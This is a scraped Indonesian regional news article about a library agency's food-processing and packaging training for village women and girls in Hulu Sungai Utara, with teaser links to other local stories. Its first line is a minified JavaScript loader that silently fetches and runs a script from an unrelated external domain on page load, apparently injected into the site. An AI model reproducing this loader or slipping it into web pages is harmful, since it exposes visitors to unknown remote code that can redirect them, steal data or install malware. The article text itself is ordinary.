(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Hulu Sungai Utara (HSU) Karyanadi menilai perlu mengangkat panganan lokal menjadi berbagai produk olahan bernilai jual untuk meningkatkan penghasilan dan kesejahteraan masyarakat.
Hal itu disampaikannya dalam pelatihan tata boga program transformasi perpustakaan berbasis inklusi sosial yang digelar Disperpus HSU di Balai Desa Babirik Hilir, Kecamatan Babirik, Selasa (6/8/2024).
Pelatihan ini sebagai upaya pemerintah daerah untuk meningkatkan pengembangan sumber daya manusia (SDM) masyarakat di desa terutama bagi kaum perempuan.
Baca juga: Jabat Ketua Kantor PN Martapura, Kurniawan Minta Dukungan Pemkab Banjar
Melimpahnya pangan lokal seperti, terong ungu, tomat, cabai, labu, mangga, dan lainnya di Kecamatan Babirik tidak hanya sekadar dijadikan sayur semata, tetapi dapat dimanfaatkan menjadi berbagai panganan lokal yang beragam seperti aneka kue, keripik, asinan buah, dan lainnya.
“Jangan lagi terong hanya sekadar digoreng, tapi kami harap peserta dapat berinovasi menjadikan terong menjadi keripik, asinan tomat, dan sebagainya,” katanya.
“Dan pelatihan yang kami berikan kali ini mudah-mudahan tidak sia-sia, program transformasi perpustakaan berbasis inklusi sosial, ujungnya untuk meningkatkan kesejahteraan masyarakat,” katanya.
Baca juga: Sempat Vonis Bebas, Terpidana Korupsi Pengadaan Lahan Samsat Amuntai Ajukan PK
Karyanadi berharap para peserta dapat memanfaatkan pelatihan dari Dispersip HSU dengan sebaik-baiknya. Dispersip HSU menggandeng MC Organizer sebagai trainer, dimana para peserta dibimbing mulai dari pembuatan aneka olahan, teknik pengemasan, hingga cara pemasaran di media sosial.
“Kami berharap hasil dari pelatihan ini, para peserta yang bisa memahami, mempraktekkan dan bisa mengolah dan pada akhirnya bisa meningkatkan taraf hidup melalui penjualan,” harap Karyanadi.
Kepala Desa Babirik Hilir Arpansyah menyampaikan terimakasih kepada Dispersip Kabupaten HSU yang memberikan dukungan untuk kemajuan dan peningkatan SDM di Desa Babirik Hilir.
Baca juga: Warga Belajar SPNF Banjarbaru Dibekali Pelatihan Ketrampilan Komputer
Pelatihan kali ini membagikan 10 resep olahan dilaksanakan selama 5 hari yang diikuti 20 peserta dari kalangan remaja putri dan ibu rumah tangga.
“Mudah-mudahan ilmu yang didapat dalam pelatihan ini nantinya bermanfaat untuk peserta dan nantinya dapat meningkatkan ekonomi keluarga,” tandasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
This website uses cookies.